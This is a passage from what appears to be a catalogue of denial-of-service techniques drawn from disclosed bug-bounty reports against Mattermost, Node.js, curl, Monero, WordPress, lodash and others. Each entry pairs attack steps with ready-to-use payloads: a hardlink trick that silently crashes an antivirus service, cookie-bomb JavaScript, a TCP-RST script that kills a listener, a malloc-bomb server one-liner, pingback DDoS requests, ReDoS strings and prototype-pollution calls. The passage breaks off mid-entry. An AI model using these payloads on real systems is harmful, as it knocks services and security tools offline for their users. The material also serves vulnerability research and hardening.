- With James Forshaw's symboliclink-testing-tools, create the next-in-sequence log file as a hardlink to the service binary
- Reboot; the service tries to write its log into its own running EXE and crashes (SHARING VIOLATION) every boot
CreateHardlink.exe "C:\ProgramData\Acronis\ActiveProtection\Logs\active_protection.2.log" "C:\Program Files (x86)\Common Files\Acronis\ActiveProtection\anti_ransomware_service.exe"
Insight — Any privileged Windows process that logs to a user-writable folder with predictable filenames is a hardlink/symlink target. Redirect its writes onto a file it must not clobber (its own binary, a config, another service) to crash or corrupt it. Especially damaging against AV/EDR because the failure is silent.
Real-world example
No length cap on a user-settable profile field -> multi-MB payload crashes server
◆ Medium
Specimen #1680241 · mattermost · awarded · 8 votes · resolved
Program mattermostSurface api
Root cause
A user-controlled setting (out-of-office auto-responder message) accepts an almost unlimited length; the app buffers/processes the whole value on every use, so a few concurrent 50MB updates exhaust memory/CPU and crash the server (CVE-2022-4044).
Method
- Authenticate as a normal user, grab the session token
- Build a JSON body whose auto_responder_message is ~50MB of 'A' (nginx default body cap)
- PUT it to /api/v4/users/me/patch ~5 times concurrently
- Server resource-spikes and crashes; app unavailable to all users
PUT /api/v4/users/me/patch
Content-Type: application/json
Cookie: MMAUTHTOKEN=<token>
X-CSRF-TOKEN: <csrf>
{"notify_props":{"auto_responder_active":"true","auto_responder_message":"AAAA...(50,000,000 chars)..."}}
Insight — Fuzz every free-text setting (bio, status, display name, auto-reply, description) with a multi-MB value. Fields that skip a max-length check but are stored/echoed/processed are a trivial authenticated DoS. The practical ceiling is often the reverse-proxy body limit (nginx 50MB by default).
Real-world example
Node.js HTTP/2 WINDOW_UPDATE overflow leaks Http2Session (CVE-2026-21714)
◆ Medium
Specimen #3531737 · nodejs · none · 7 votes · resolved
Program nodejsSurface networkTag webhook
Root cause
CVE-2026-21714: sending connection-level WINDOW_UPDATE frames on stream 0 that push the flow-control window past 2^31-1 makes a Node.js HTTP/2 server send a GOAWAY but never clean up the Http2Session object, so each abusive connection leaks memory until exhaustion.
Method
- Open an HTTP/2 connection to a Node.js server (v20/22/24/25).
- Send WINDOW_UPDATE frames on stream 0 (connection level) to drive the window over 2^31-1.
- Server emits GOAWAY but leaks the Http2Session; repeat across connections to exhaust memory.
# HTTP/2 connection-level frame abuse:
repeatedly send WINDOW_UPDATE on stream 0 until window > 2**31-1 -> GOAWAY but session not freed
Insight — Protocol-level DoS in HTTP/2 servers often comes from error paths that respond correctly (GOAWAY/RST) but fail to release per-connection state. When testing HTTP/2 stacks, drive flow-control counters and stream limits to boundary/overflow and watch server RSS for un-freed session objects.
Real-world example
Malicious upstream empty response -> uncaught EventEmitter error crashes Node process
◆ Medium
Specimen #506412 · hyperledger · awarded · 6 votes · resolved
Program hyperledgerSurface api
Root cause
The fabric-ca client parses the enrollment response with JSON.parse inside a stream 'end' handler; when the CA returns an empty body the parse throws inside an EventEmitter callback with no 'error' listener, so Node prints a stack trace and exits the whole process (unrecoverable by the app).
Method
- Point the client at a malicious CA that returns an empty HTTP response during enrollment
- JSON.parse(data) throws inside the 'end' event handler
- No error listener -> the containing Node process exits, denying the server to all users
// malicious CA returns an empty body on /enroll
// vulnerable: util.format('...', JSON.parse(data).statusCode) // throws on '' inside emitter 'end'
// run: node badCa.js & ; node index.js -> process exits
Insight — In Node, an exception thrown inside an EventEmitter handler (or an emitted 'error' with no listener) crashes the whole process, not just the request. Test every client/SDK against a hostile upstream that returns empty/invalid/oversized bodies: unguarded JSON.parse in stream callbacks is a reliable remote process-kill DoS.
Real-world example
Image-proxy (Thumbor) with unrestricted resize dimensions -> memory DoS
◆ Medium
Specimen #787240 · uber · awarded · 6 votes · resolved
Program uberSurface webChain image proxy -> unbounded resize (DoS) + arbitrary remote
Root cause
A Thumbor image-processing endpoint downloads external images and resizes them to caller-specified, unbounded dimensions; requesting huge target sizes forces large in-memory bitmaps and exhausts server resources (and the fetch is an SSRF surface).
Method
- Identify a Thumbor/image-proxy endpoint that takes URL + size in the path
- Request very large target dimensions (and/or a large source image)
- Server allocates oversized bitmaps -> memory/CPU exhaustion
# Thumbor-style URL fetching + resizing to attacker-chosen dimensions, e.g.
# https://blogapi.TARGET/unsafe/99999x99999/http://attacker/big.jpg
Insight — Image-transform proxies (Thumbor, imgproxy, imageproxy) are double trouble: unbounded output dimensions = memory DoS, and the arbitrary source URL = SSRF. Check whether size params and source hosts are validated/signed (Thumbor's HMAC 'unsafe' mode is the tell).
Real-world example
Cookie bomb on a shared hosting domain to lock out sibling subdomains
◆ Medium
Specimen #221041 · gitlab · none · 6 votes · resolved
Program gitlabSurface web
Root cause
On a shared user-content domain (GitLab Pages), attacker JS sets many oversized cookies scoped to the parent domain; the victim's browser then sends request headers too large for the server, which rejects every request to that domain and all its subdomains until cookies are cleared.
Method
- Host a page on the shared domain (e.g. attacker.gitlab.io) that runs the cookie-bomb JS
- Victim visits it; ~98 cookies of ~4000 bytes are set on the parent domain
- All sibling subdomains under that domain now 4xx (request header too large) for the victim
<script>
var base_domain = document.domain.substr(document.domain.indexOf('.'));
var pollution = Array(4000).join('a');
for (var i=1;i<99;i++){
document.cookie='bomb'+i+'='+pollution+';Domain='+base_domain;
}
</script>
Insight — Wherever users can serve content on a shared parent domain (Pages, *.herokuapp, *.blogspot), a page can set parent-domain-scoped cookies that DoS every sibling site for the victim. Test user-content platforms for cookie-scope isolation; mitigation is to sandbox onto per-user apex domains or strip oversized cookies.
Real-world example
Client crash via crafted server output stream (terminal assertion abort)
◆ Medium
Specimen #495508 · putty_h1c · awarded · 5 votes · resolved
Program putty_h1cSurface desktopTag file-upload
Root cause
PuTTY trusts data streamed from the remote host; malformed byte/wide-char sequences reach an assertion (len==1 in do_text_internal) and abort the client, losing the session and scrollback.
Method
- Build a corpus of terminal escape/output sequences.
- From a compromised/malicious remote host, stream mutated output (radamsa -o -) to the connected client.
- Loop until an assertion/crash fires client-side.
# on the malicious/remote host, fuzz output back to the connected PuTTY client:
while true; do radamsa -s 420 -o - -n inf corpus/*; done
Insight — Terminal emulators / rich clients trust server-controlled output; fuzz the OUTPUT direction, not just input. Assertion aborts on untrusted data are DoS (and hint at deeper parsing bugs).
Real-world example
Unbounded Content-Length allocation -> unauth memory exhaustion (OOM)
◆ Medium
Specimen #1511843 · monero · none · 5 votes · resolved
Program moneroSurface apiTag file-upload
Root cause
monerod's JSON-RPC HTTP handler allocates a buffer sized by the incoming Content-Length header before reading/validating the body, so an attacker with RPC-port access forces arbitrary memory allocation and OOM-kills the daemon (no auth needed).
Method
- Reach an HTTP/RPC endpoint that reads Content-Length.
- Send a request with a huge Content-Length (optionally without sending the full body).
- Repeat/scale until the server allocates past its memory limit and the OOM killer stops it.
# Concept: raw HTTP to JSON-RPC port with an enormous declared body size
POST /json_rpc HTTP/1.1
Host: TARGET:18081
Content-Length: 999999999999
{...}
# (PoC script m1.py in report loops this)
Insight — Never allocate on a client-declared Content-Length before capping it. Test any HTTP/RPC service by declaring an oversized body; unauth network reachability makes this a serious availability bug.
Real-world example
Decompression-chain malloc bomb via many Content-Encoding/Transfer-Encoding headers
◆ Medium
Specimen #1886139 · ibb · awarded · 5 votes · resolved
Program ibbSurface otherTag webhook
Root cause
curl caps the number of chained decompression algorithms per header but not the number of headers; a malicious server sends many Content-Encoding/Transfer-Encoding headers, each allocating a decompression buffer, exhausting all heap ('malloc bomb').
Method
- Control (or MITM) the HTTP server a client fetches from
- Return a response with a very large number of Transfer-Encoding and/or Content-Encoding headers, each naming a built-in codec (gzip/br/zstd)
- Each header adds a decompression stage + buffer until memory is exhausted
HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Encoding: gzip
Content-Encoding: gzip
... (repeat thousands of times) ...
Content-Encoding: gzip
<compressed body>
Insight — When a per-item limit exists, check whether the limit is enforced per-header or globally. Response-header multiplicity is an unkeyed amplification vector: the same fix (CVE-2022-32206) was incomplete because it counted per-header not in total. Cap resources across ALL headers, not each one.
Real-world example
ReDoS in Ruby URI parser on invalid double-# URLs
◆ Medium
Specimen #1944515 · ibb · awarded · 5 votes · resolved
Program ibbSurface other
Root cause
Ruby's URI regex-based parser backtracks catastrophically on invalid URLs containing two '#' characters preceded by a long path; parse time grows ~quintuple when input length only doubles, even though the string is ultimately rejected as invalid.
Method
- Identify a sink that parses user-controlled strings with URI()/URI.parse (request body, JSON field, redirect param)
- Send a long path followed by '##'
- Parser hangs proportionally to string length, tying up the request thread
require 'uri'
URI('https://example.com/dir/' + 'a'*400000 + '/##.jpg')
# execution time ~quintuples each time the length doubles
Insight — ReDoS lives even in 'validation' code that rejects the input: rejection can be O(2^n). Fuzz any regex-backed parser (URI, email, dates, GlobalID) with long repeated prefixes + a trailing invalid tail, and measure wall-clock vs input length. Rendering libraries (GraphQL Ruby, ActiveJob) reuse these parsers on user input.
Real-world example
JSON-schema DoS: ajv allErrors:true defeats maxItems/maxLength short-circuit guards
◆ Medium
Specimen #903521 · nodejs-ecosystem · USD 250 · 4 votes · resolved
Program nodejs-ecosystemSurface api
Root cause
Fastify configures ajv with allErrors:true by default. Schemas that authors believed safe (e.g. {uniqueItems:true, maxItems:10} or a slow pattern + maxLength) rely on the length check failing first and stopping validation; with allErrors:true, validation continues past the length failure and runs the expensive uniqueItems/regex check on the full attacker-sized input.
Method
- Find a Fastify (or any ajv allErrors:true) endpoint whose body schema uses uniqueItems, a complex pattern, or format alongside a maxItems/maxLength guard
- POST a body far exceeding the length limit (e.g. huge unique array or 90k-char string)
- With allErrors on, the O(n^2)/slow validator still executes -> CPU DoS
// server schema (assumed safe by author)
const schema = { body: { type:'object', properties: {
array: { uniqueItems: true, maxItems: 10 },
string: { pattern: "^[^/]+@.+#$", maxLength: 20 }
}}}
// attacker requests
POST / {"string": "@".repeat(90000)}
POST / {"array": Array(20000).fill().map(()=>({x:rand()}))}
Insight — Validator configuration, not just the schema, determines DoS-safety. When a framework validates untrusted JSON, check whether allErrors/verbose is on: it disables the fail-fast that makes length-guarded schemas safe. Set allErrors:false in production. Probe by sending inputs that violate the cheap guard but are large enough to make the expensive keyword hurt.
Real-world example
Listener teardown via TCP RST in the accept() window (async_accept not re-armed on error)
◆ Medium
Specimen #363714 · monero · none · 4 votes · resolved
Program moneroSurface network
Root cause
In epee's abstract_tcp_server2, handle_accept re-arms acceptor_.async_accept only on the success path; if it is invoked with an error code it just logs and returns, never re-registering the accept handler. A TCP RST delivered in the tiny window between the ACK and handle_accept produces that error, so the daemon permanently stops accepting new connections.
Method
- Connect to the target epee/monerod port and complete the TCP handshake
- Immediately force an RST (SO_LINGER with linger time 0, then close) so the socket is reset during the accept window
- On error, the acceptor is not re-armed -> node stops accepting all new connections (idle/syncing nodes fall fastest)
#!/usr/bin/env python3
import socket, struct, sys
h, p = sys.argv[1], int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
s.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) # linger 0 -> RST on close
s.connect((h, p))
s.close() # sends RST instead of FIN; repeat to hit the accept-window race
Insight — Async accept loops must re-arm the acceptor on EVERY completion, including errors; if error paths only log, a single accept-time error kills the listener. As an attacker, race the accept handler with an RST (SO_LINGER 0) right after connect. Look for this anti-pattern in any Boost.Asio / libuv / epoll accept callback that early-returns on error.
Real-world example
WordPress xmlrpc.php pingback.ping reflective DDoS / SSRF amplification
◆ Medium
Specimen #787179 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface webChain pingback.ping -> server-side outbound fetch -> reflect
Root cause
An exposed WordPress xmlrpc.php with pingback enabled will, on request, fetch an attacker-specified target URL to 'verify' a pingback. Many such hosts can be commanded to hammer a chosen victim (reflective DDoS), and the server-side fetch also acts as an SSRF probe.
Method
- Confirm xmlrpc.php is enabled with a system.listMethods probe (look for pingback.ping in the method list)
- Send pingback.ping with param1 = attacker/victim URL and param2 = a post URL on the WP host
- The WP server issues an outbound request to the victim URL; fan this across many WP hosts to DDoS the victim
POST /xmlrpc.php HTTP/1.1
Host: TARGET
Content-Type: text/xml
<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>
--- then ---
POST /xmlrpc.php HTTP/1.1
Host: TARGET
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://VICTIM/</string></value></param>
<param><value><string>https://TARGET/?p=1</string></value></param>
</params>
</methodCall>
Insight — On any WordPress target, probe /xmlrpc.php with system.listMethods first; if pingback.ping is present you have a server-side request primitive usable for reflective DDoS and internal SSRF. Remediation is to disable/remove xmlrpc.php or block it externally. This is a fast recon check for every WP asset in scope.
Real-world example
Memory-exhaustion DoS via attacker-controlled remote object fetched into ioutil.ReadAll
◆ Medium
Specimen #833856 · kubernetes · awarded · 4 votes · resolved
Program kubernetesSurface webChain attacker-controlled artifactName -> unbounded GCS downloaTag cloud-gcp
Root cause
Kubernetes test-infra Prow Spyglass lets the request control the artifacts[] list; the GCS artifact fetcher then downloads the named object and buffers it entirely with ioutil.ReadAll (gcsartifact.go), so pointing it at a very large object loads it wholesale into memory. Concurrent requests exhaust server memory.
Method
- Identify the Spyglass rerender/artifact endpoint (prow.k8s.io/spyglass/lens/.../rerender?req=...)
- Set req.artifacts to a large object path in the accessible GCS bucket
- The server ReadAll's the whole object into RAM; fire concurrently (ab -n 30 -c 30) to OOM the deck server
GET https://prow.k8s.io/spyglass/lens/buildlog/rerender?req={"artifacts":["k8s-test-cache.tar.gz"],"index":0,"src":"gcs/kubernetes-jenkins/cache/poc/"}
// vulnerable sink: test-infra/prow/spyglass/gcsartifact.go:205 -> ioutil.ReadAll(reader)
// load-test: ab -n 30 -c 30 <endpoint>
Insight — Any handler that takes a user-controlled resource id (object name, URL, file path) and buffers the whole thing with ReadAll / read-to-slice, without a size cap or streaming, is a memory-DoS. Grep server code for ioutil.ReadAll / io.ReadAll on request-influenced readers; exploit by naming a large object and sending concurrent requests. Fix is bounded reads / io.LimitReader / streaming.
Real-world example
1-click Node crash: unguarded new URL() on request path
◆ Medium
Specimen #1361804 · fastify · none · 4 votes · resolved
Program fastifySurface webTag open-redirect
Root cause
User-controlled request path is passed straight to WHATWG `new URL(req.raw.url)` without try/catch; a malformed URL throws a synchronous TypeError that is unhandled, crashing the Node process.
Method
- Find a Node handler that feeds req.url/path into new URL() (fastify-static redirect:true)
- Send a path that new URL() rejects as invalid
- Unhandled ERR_INVALID_URL propagates -> process exits (DoS)
curl --path-as-is "http://TARGET//^/.."
# server dies: TypeError [ERR_INVALID_URL]: Invalid URL: //^/..
Insight — Any place Node calls new URL()/decodeURIComponent()/JSON.parse() on raw request input without try/catch is a 1-request DoS. Also: adding a base URL to new URL() to 'fix' it can introduce open redirect (new URL('//foo.com','https://x') -> foo.com).
Real-world example
Unbounded allocation from repeated encoding/header tokens (curl)
◆ Medium
Specimen #1570651 · curl · none · 4 votes · resolved
Program curlSurface other
Root cause
Header processing allocates per encoding token / per cookie without limit; a response with millions of repeated Transfer-Encoding: gzip,gzip,... (or many big Set-Cookie) drives the client to OOM and system-wide instability.
Method
- Stand up a malicious HTTP server that emits huge repeated Transfer-Encoding/Content-Encoding lines
- Point the vulnerable client at it
- Client keeps allocating until OOM-killed (exit 137); on Windows the box hung until reboot
perl -e 'print "HTTP/1.1 200 OK\r\n"; for(my $i=0;$i<10000000;$i++){printf "Transfer-Encoding: "."gzip,"x20000."\r\n";}' | nc -v -l -p 9999
curl http://localhost:9999
Insight — Malicious server -> client DoS is a real vector for any HTTP client/library/proxy: fuzz them with pathological header repetition and chained content-encodings, not just servers with malicious requests.
Real-world example
Bandwidth/disk amplification via server-side link preview fetch
◆ Medium
Specimen #1806223 · nextcloud · none · 4 votes · resolved
Program nextcloudSurface webTag webhook
Root cause
Posting a message triggers a server-side reference/link-preview fetch of any URL in the message with a time budget but no download size limit, so the server pulls large remote files at full speed for the whole timeout.
Method
- Find a feature that fetches URLs server-side (link unfurl, reference, image preview)
- Post messages containing links to very large high-bandwidth files (e.g. speed.hetzner.de/10GB.bin)
- Server saturates its own bandwidth / fills temp disk for the duration
Post in a Talk room:
https://speed.hetzner.de/10GB.bin
(repeat across several messages)
Insight — URL-preview/reference/oEmbed fetchers are DoS amplifiers when they cap time but not bytes. Test with a large-file URL and a slow-loris/high-bandwidth endpoint; this also overlaps SSRF (same fetch primitive).
Real-world example
Per-target throttle bypassed by varying the target (synchronous email flood)
◆ Medium
Specimen #128856 · gratipay · USD 10 · 3 votes · resolved
Program gratipaySurface web
Root cause
An endpoint that does expensive synchronous work (send email) rate-limits per email address but has no global cap, so submitting many distinct addresses floods the mail server, holds request threads, and can incur cost.
Method
- Find an endpoint doing heavy synchronous work with a per-key limit (email, SMS, PDF render)
- Vary the key (email address) on each request to sidestep the limit
- Each request blocks a thread/connection for the send duration -> resource starvation + $ cost
POST /~USER/emails/modify.json (add-email)
-> repeat with a fresh unique address each time; each holds the worker while the mail is sent
Insight — Anti-abuse counters keyed on a single field (email/username/IP) are bypassed by rotating that field. Flag any expensive action performed synchronously in-request (should be queued/async) as a DoS and cost-amplification vector.
Real-world example
Image-parser crash via INT_MIN/-1 division (PHP EXIF TIFF)
◆ Medium
Specimen #195580 · ibb · awarded · 3 votes · resolved
Program ibbSurface otherTag file-upload
Root cause
PHP's EXIF parser computes value/denominator for a signed-rational TIFF tag guarding only denominator==0; the edge case INT_MIN / -1 overflows and raises SIGFPE (arithmetic exception) on x86, crashing the process on a crafted image.
Method
- Identify server-side image/metadata parsing (exif_thumbnail, EXIF read)
- Craft a TIFF with SRATIONAL tag numerator=INT_MIN, denominator=-1
- Upload/trigger parse -> SIGFPE crash (DoS)
<?php $e = exif_thumbnail("example_hostile.exif"); ?>
# TIFF SRATIONAL: numerator=0x80000000 (INT_MIN), denominator=0xFFFFFFFF (-1)
Insight — Signed integer division that only checks divisor==0 misses INT_MIN/-1 (SIGFPE). Media/metadata parsers (EXIF/TIFF/image libs) are classic crash-DoS surfaces; fuzz uploaded images and craft the INT_MIN/-1 case for any signed division.
Real-world example
Slowloris patch bypass: timeout not re-armed on keep-alive
◆ Medium
Specimen #453513 · nodejs · none · 3 votes · resolved
Program nodejsSurface apiTag webhook
Root cause
The CVE-2018-12122 fix (headersTimeout) sets parsingHeadersStart on connection but never re-sets it for subsequent requests on the same keep-alive connection; sending a partial second request over an existing connection is never timed out -> slow-header DoS returns.
Method
- Open HTTP keep-alive connection; complete one normal request
- On the same socket send only the first request line of request #2
- Dribble subsequent header bytes slower than headersTimeout; socket is never destroyed
telnet target 80
GET / HTTP/1.1
Connection: keep-alive
# after response, send only:
GET / HTTP/1.1
# wait > headersTimeout, then slowly:
Host: localhost
# ... never times out
Insight — When auditing a DoS/timeout patch, always test the keep-alive / connection-reuse path: guards armed once per connection frequently forget to re-arm per request. Slowloris fixes are a classic place for this gap.
Real-world example
Recursion via crafted server response (curl FTP wildcard)
◆ Medium
Specimen #1045844 · curl · none · 3 votes · resolved
Program curlSurface networkTag file-upload
Root cause
curl's FTP wildcard matcher wc_statemach calls itself recursively while iterating a directory listing returned by the server; a huge/crafted listing (tens of thousands of entries) drives unbounded recursion -> stack overflow in the client.
Method
- Control (or MITM) an FTP server curl connects to with a wildcard URL
- Return a directory listing with ~40,000 entries
- wc_statemach recurses per entry until the client stack overflows
curl 'ftp://attacker/dir/*' # attacker returns a 40k-file listing
# crash: recursive wc_statemach (ftp.c:3856/3894) -> SIGSEGV / stack overflow
Insight — Client-side parsers that recurse over attacker-controlled server responses are DoS (and sometimes memory-corruption) targets. When a library trusts a remote peer's data volume/structure, malicious servers are a valid attack surface.
Real-world example
Mutation of shared non-frozen response const -> unbounded growth crash
◆ Medium
Specimen #1300802 · rails · none · 3 votes · resolved
Program railsSurface apiTag webhook
Root cause
Rails ShowExceptions returns a shared, non-frozen FAILSAFE_RESPONSE constant; middleware that mutates the response body (RequestStore wrapping it in a self-referential Rack::BodyProxy) permanently grows that global const on every error request until a SystemStackError crashes Puma into a zombie state.
Method
- Deploy Rails in production with exceptions_app + a middleware that mutates the response (e.g. lograge + request_store)
- Fire many requests that hit the error path (unknown routes, e.g. WP-scan paths)
- Each error re-wraps the shared const; after ~1000 requests machine stack overflow crashes the worker permanently
1000.times { `curl -H 'Accept: application/xml' -X GET http://target///wp1/wp-includes/wlwmanifest.xml` }
# eventually: fatal: machine stack overflow in critical region -> Puma zombie
Insight — Look for shared mutable global state on error/failsafe paths: a non-frozen constant returned to middleware that mutates responses accumulates state across requests -> memory blow-up / crash. Trigger via cheap error-generating requests (bogus routes).
Real-world example
Apache mod_deflate request-body decompression bomb (CVE-2014-0118)
◆ Medium
Specimen #20861 · ibb · awarded · 3 votes · resolved
Program ibbSurface web
Root cause
When the DEFLATE input filter is enabled to decompress request bodies, mod_deflate expands attacker-supplied compressed data without an effective bound, letting a small compressed request consume large CPU/memory (decompression bomb).
Method
- Identify a server configured with the DEFLATE input filter (accepts and decompresses gzip/deflate request bodies)
- Send a highly-compressible request body (e.g. long run of a single byte) gzip-compressed with Content-Encoding: gzip
- Server decompresses to a huge in-memory buffer; repeat/parallelize for CPU and memory exhaustion
POST /endpoint HTTP/1.1
Host: TARGET
Content-Encoding: gzip
Content-Type: application/octet-stream
<gzip of e.g. 1GB of 0x00 -> a few KB on the wire>
Insight — Whenever a server accepts compressed REQUEST bodies (mod_deflate DEFLATE input filter, or app-level gzip inflate), test a compression bomb: tiny on the wire, enormous inflated. The asymmetry gives a cheap amplification DoS. Not a default config, so first confirm the server actually inflates request bodies.
Real-world example
Unlimited user-controlled external image embeds turn viewers into a distributed traffic source
◆ Medium
Specimen #117739 · gratipay · awarded · 2 votes · resolved
Program gratipaySurface webTag webhook
Root cause
Markdown statement fields allowed an unbounded number of external image references; every visitor's page load fires all of them, so a public profile becomes an amplifier that directs traffic at an arbitrary third-party host.
Method
- Insert many external image markdown tags pointing at a target URL into a public profile/statement
- Each viewer of the profile triggers one request per image to the target
- With no cap, a popular page becomes a DDoS/traffic-amplification vector against the target

(repeat 100+ times in the statement/markdown field)
Insight — Any field that renders user-supplied external resource references (markdown images, remote CSS, iframe/embed, link-preview URLs) needs a per-page cap and ideally a proxy/allowlist - unbounded fan-out makes honest visitors participate in DoS and can also be an SSRF/preview-abuse surface.
Real-world example
Image-library recursion (PHP GD imagefilltoborder)
◆ Medium
Specimen #190863 · ibb · awarded · 2 votes · resolved
Program ibbSurface apiTag file-upload
Root cause
php_gd_gdImageFillToBorder recurses per pixel to flood-fill; on a truecolor image with an invalid (negative) color argument the recursion never terminates cleanly -> stack exhaustion crash (upstream PHP bug 72696).
Method
- Call imagefilltoborder on a truecolor image with a crafted/invalid color (e.g. -2)
- Recursive gdImageFillToBorder frames grow (y+1 / y-1 ping-pong) until the stack overflows
<?php
$im = imagecreatetruecolor(1,1);
imagefilltoborder($im, 0, 0, 1, -2); // invalid color -> unbounded recursion
?>
Insight — Flood-fill and other recursive image ops are stack-exhaustion sinks when color/coordinate inputs are attacker-controlled (e.g. image processing on uploaded params). Fuzz GD/ImageMagick-style APIs with out-of-range color and dimension values.
Real-world example
npm library ReDoS via naive validator regex
◆ Medium
Specimen #317548 · nodejs-ecosystem · none · 2 votes · resolved
Program nodejs-ecosystemSurface apiTag webhook
Root cause
Popular npm validators run catastrophically-backtracking regexes on user input: is-my-json-valid uses /^\S+@\S+$/ for email (10s on ~90KB) and a polynomial 'style' format regex; rgb2hex and useragent parse crafted strings with backtracking regexes -> event-loop block.
Method
- Identify a validator/parser regex applied to user input (email/color/user-agent/format validators)
- Send a long crafted string with a non-matching tail to maximize backtracking
- Event loop blocks for seconds per call
// is-my-json-valid email: /^\S+@\S+$/
validate('a'.repeat(90000));
// is-my-json-valid 'style' format:
imjv({maxLength:100, format:'style'})(' '.repeat(1e4));
// rgb2hex evil string:
rgb2hex('rgb(0,0,0,' + '0000,'.repeat(20));
Insight — Grep dependencies for regexes with \S+...\S+, (x+)+, or alternation over unbounded input in email/color/UA/schema validators. safe-regex misses polynomial cases, so review manually. Even a 'low' library ReDoS blocks the whole Node event loop.
Real-world example
Uninitialized pointer on empty request body -> segfault
◆ Medium
Specimen #1514863 · ibb · awarded · 2 votes · resolved
Program ibbSurface networkTag webhook
Root cause
Apache mod_lua's req_parsebody declares `const char *data` uninitialized; when a request carries no body, lua_read_body leaves it unset (value 0x1 on 64-bit builds), then passes it to strstr -> segmentation fault / worker crash (CVE-2022-22719).
Method
- Configure mod_lua with a lua-script handler that calls r:parsebody()
- Send a request to the .lua handler with no body
- data stays uninitialized -> strstr(data, multipart) dereferences bad pointer -> segfault
# mod_lua handler calling req_parsebody, then:
GET /handler.lua HTTP/1.1
Host: target
# (no request body) -> segfault in strstr
# arch-dependent: 64-bit build data=0x1 -> crash; 32-bit may not
Insight — Native parsers that assume an out-parameter was written by a helper before using it are crash-prone on the empty/missing-input edge case. Test every body-parsing endpoint with a zero-length / absent body; behavior often differs by architecture (32 vs 64-bit).
Real-world example
Node.js process abort via x509 cert with invalid public-key info
◆ Medium
Specimen #1884159 · nodejs · none · 2 votes · resolved
Program nodejsSurface otherTag file-upload
Root cause
Native crypto code assumed a parsed X509Certificate always carries a valid public key; a cert whose SubjectPublicKeyInfo cannot be decoded yields a null EVP_PKEY, and KeyObjectData::CreateAsymmetric's CHECK(pkey) fails, calling node::Abort() (whole process dies, not a catchable exception).
Method
- Craft/obtain an x509 PEM whose public-key info is malformed so OpenSSL parses the cert but X509_get_pubkey returns null.
- Feed it to user code that reads the public key: new crypto.X509Certificate(pem) then access .publicKey.
- The C++ CHECK(pkey) assertion fires -> Assertion `pkey' failed -> Aborted (core dumped).
- try/catch does NOT help: it is a hard native abort, so the entire Node process terminates.
const crypto = require("crypto");
const cert = new crypto.X509Certificate(certPem); // certPem = attacker cert with invalid pubkey
console.log(cert.publicKey); // aborts process here (CHECK(pkey) fails)
Insight — Any endpoint that parses attacker-supplied certificates and touches .publicKey (mTLS validators, cert upload/preview, JWT x5c handling) can be crashed with a single crafted cert. When a runtime uses assert()/CHECK() on values derived from untrusted parsing, the failure is an uncatchable process abort = reliable DoS. Look for native CHECK/assert on parsed-crypto objects.
Real-world example
PHP-FPM access-log buffer overflow via snprintf return-value misuse
◆ Medium
Specimen #112723 · ibb · awarded · 1 votes · resolved
Program ibbSurface other
Root cause
In fpm_log.c the running length was advanced by snprintf's return value, which is the number of chars that WOULD have been written, not the number actually written. When a field (e.g. %{VAR}e) is longer than the remaining buffer, len exceeds FPM_LOG_BUFFER, causing an out-of-bounds read and an OOB write of a newline past the allocation.
Method
- Configure/observe an access.format containing a variable-length field such as %{HTTP_...}e in php-fpm.conf.
- Send a request whose logged value is long enough that snprintf truncates into the buffer but returns the untruncated length.
- len += len2 (untruncated) overruns FPM_LOG_BUFFER; buffer[len]='\n' and write(fd, buffer, len+1) read/write past the allocation.
len2 = snprintf(b, FPM_LOG_BUFFER - len, "%s", env ? env : "-");
len += len2; // BUG: snprintf returns would-be length, not written
if (strlen(buffer) > 0) { buffer[len] = '\n'; write(fpm_log_fd, buffer, len + 1); } // OOB
Insight — Classic snprintf pitfall to grep for in C code audits: any `len += snprintf(...)` or `pos += snprintf(buf, remaining, ...)` that keeps accumulating without clamping to the truncated count leads to OOB when attacker-influenced strings fill the buffer. Look at logging, formatting, and header-building code that lets user input reach %s of a size-bounded snprintf.
Real-world example
WebDAV PROPFIND with empty prop element pins CPU at 100% (SabreDAV)
◆ Medium
Specimen #255822 · nextcloud · none · 1 votes · resolved
Program nextcloudSurface web
Root cause
The SabreDAV XML reader mishandled a PROPFIND body containing an empty <prop></prop> element, entering pathological/looping XML parsing that consumed a full Apache worker's CPU per request (fixed upstream in sabre-xml).
Method
- Authenticate to a Nextcloud/ownCloud WebDAV endpoint.
- Send a PROPFIND to /remote.php/webdav with a body whose <a:prop> element is empty.
- One Apache worker spikes to 100% CPU; repeating exhausts all workers -> DoS.
curl -i --user testuser:testpass -X PROPFIND -d '<?xml version="1.0"?><a:propfind xmlns:a="DAV:"><a:prop></a:prop></a:propfind>' http://TARGET/remote.php/webdav
Insight — When testing WebDAV/XML endpoints, fuzz structurally-degenerate but valid XML: empty elements, empty namespaces, deeply nested/repeated tags. Parsers (SabreDAV, others) often have per-request worker-exhaustion bugs on edge-case XML that pass schema checks. One malformed-but-valid PROPFIND per worker = cheap CPU DoS.
Real-world example
Prototype pollution via lodash _.set constructor.prototype path -> DoS
◆ Medium
Specimen #841380 · nodejs-ecosystem · none · 1 votes · resolved
Program nodejs-ecosystemSurface apiChain prototype pollution -> gadget (overwritten method / injecTag account-takeover
Root cause
lodash _.set walks a dotted/array path and assigns properties without blocking prototype-reaching segments, so an attacker-controlled path like constructor.prototype.X (or __proto__.X) writes onto Object.prototype, affecting every object; overwriting toString/valueOf yields crashes/DoS, adding flags (isAdmin) yields logic bypass.
Method
- Find a sink where user input reaches the path/key argument of a deep-set/merge function (_.set, _.setWith, _.merge, custom mergers).
- Pass a prototype-reaching path: constructor.prototype.<prop> or __proto__.<prop>.
- Poison Object.prototype: set a truthy flag for auth bypass, or overwrite toString to crash downstream code (DoS).
const _ = require('lodash');
_.set({}, 'constructor.prototype.isAdmin', true);
console.log({}.isAdmin); // true -> logic bypass
_.set({}, 'constructor.prototype.toString', null);
console.log({}.toString()); // crash -> DoS
Insight — Any function that assigns to a nested property using an untrusted key/path is a prototype-pollution sink. Probe with both __proto__ and constructor.prototype (the latter bypasses naive __proto__-only filters). Impact is dual: DoS by clobbering Object.prototype methods, or privilege/logic bypass by injecting flags read elsewhere. The same class also appears when objects are used as caches keyed by untrusted strings (see also_seen_in).
Real-world example
Node heap exhaustion via Handlebars template calling String/Array builtins
◆ Medium
Specimen #726364 · nodejs-ecosystem · none · 1 votes · resolved
Program nodejs-ecosystemSurface api
Root cause
